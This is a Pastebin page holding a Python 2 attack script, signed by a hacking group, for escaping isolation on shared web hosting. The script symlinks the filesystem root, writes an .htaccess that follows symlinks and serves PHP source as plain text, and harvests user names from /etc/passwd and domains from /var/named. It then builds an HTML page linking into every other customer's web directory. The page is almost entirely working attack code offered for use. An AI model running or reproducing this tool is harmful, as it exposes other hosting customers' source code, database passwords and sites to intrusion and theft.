Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/*Python
- import time
- import os
- import sys
- import re
- os.system("color C")
- hta = "\nFile : .htaccess // Created Successfully!\n"
- f = "All Processes Done!\nSymlink Bypassed Successfully!\n"
- os.makedirs('sl')
- os.chdir('sl')
- susr=[]
- sitex=[]
- os.system("ln -s / AZZATSSINS")
- h = "Options Indexes FollowSymLinks\nDirectoryIndex sl\nAddType text/plain .php\nAddType txt .php\nAddHandler txt .php"
- m = open(".htaccess","w+")
- m.write(h)
- m.close()
- print hta
- sf = "<title>Symbolic Links</title><body bgcolor=black><center><br><div style=background:maroon;margin:0px;padding:4px;text-align:center;color:silver;><i><font color=lime>© </font><a href=mailto:[email protected]>AZZATSSINS CYBERSERKERS</a></i><br><br><br></center>"
- o = open('/etc/passwd','r')
- o=o.read()
- o = re.findall('/home/\w+',o)
- for xusr in o:
- xusr=xusr.replace('/home/','')
- susr.append(xusr)
- print "-"*30
- xsite = os.listdir("/var/named")
- for xxsite in xsite:
- xxsite=xxsite.replace(".db","")
- sitex.append(xxsite)
- print f
- path=os.getcwd()
- if "/public_html/" in path:
- path="/public_html/"
- else:
- path = "/html/"
- counter=1
- ips=open("symlink.htm","w")
- ips.write(sf)
- for fusr in susr:
- for fsite in sitex:
- fu=fusr[0:5]
- s=fsite[0:5]
- if fu==s:
- ips.write("<br><br><center><br><div style=background:violet;margin:0px;padding:5px;text-align:center;color:white;><b><i><font color=silver><font color=lime>%s</font> | <font color=orange>%s</font> | <a href=AZZATSSINS/home/%s%s target=_blank >%s</a></font></i></b></div></center>"%(counter,fusr,fusr,path,fsite))
- counter=counter+1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement